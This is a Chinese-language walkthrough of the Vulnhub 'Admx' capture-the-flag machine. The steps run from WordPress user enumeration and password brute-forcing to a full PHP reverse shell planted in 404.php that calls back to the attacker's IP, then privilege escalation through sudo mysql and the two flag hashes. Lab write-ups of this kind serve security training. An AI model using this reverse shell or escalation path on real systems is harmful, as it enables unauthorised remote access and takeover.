Vulnhub-Admx
Admx
资产收集
IP | 描述 |
---|---|
192.168.0.128 | Kali |
192.168.0.132 | 靶机 |
该靶机仅有80端口开放,在访问wordpress目录后进入wordpress文件夹
Web
由于访问wordpress速度过慢,查询后发现根据设置的问题他需要把从192.168.159.145
加载的资源强制改为靶机IP才可以正常访问
替换URL
使用burp的 HTTP match and replace rules
将其请求地址做修改
由于wordpress的登陆页面可以判断出是否存在该账户,所以我们从这里入手找到admin
用户,然后进行爆破得到密码adam14
Getshell
在404.php中写入反弹shell
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.0.128';
$port = 833;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
chdir("/");
umask(0);
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
访问任意可以导致404的地址即可拿到shell
通过搜集信息发现/home/wpadmin文件夹的local.txt仅wpadmin可读,在网站目录收集到wp-config的MySQL信息
但是给的信息无法正常登录到MySQL,如果直接su wpadmin
并使用adam14
可以切换到wpadmin用户,在根目录拿到flag
cat local.txt
#153495edec1b606c24947b1335998bd9
sudo -l发现wpadmin可以sudo执行MySQL登录
sudo /usr/bin/mysql -u root -p
system id
system bash
进入root目录可以获取到第二个flag
cat proof.txt
#7efd721c8bfff2937c66235f2d0dbac1
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感谢站长分享。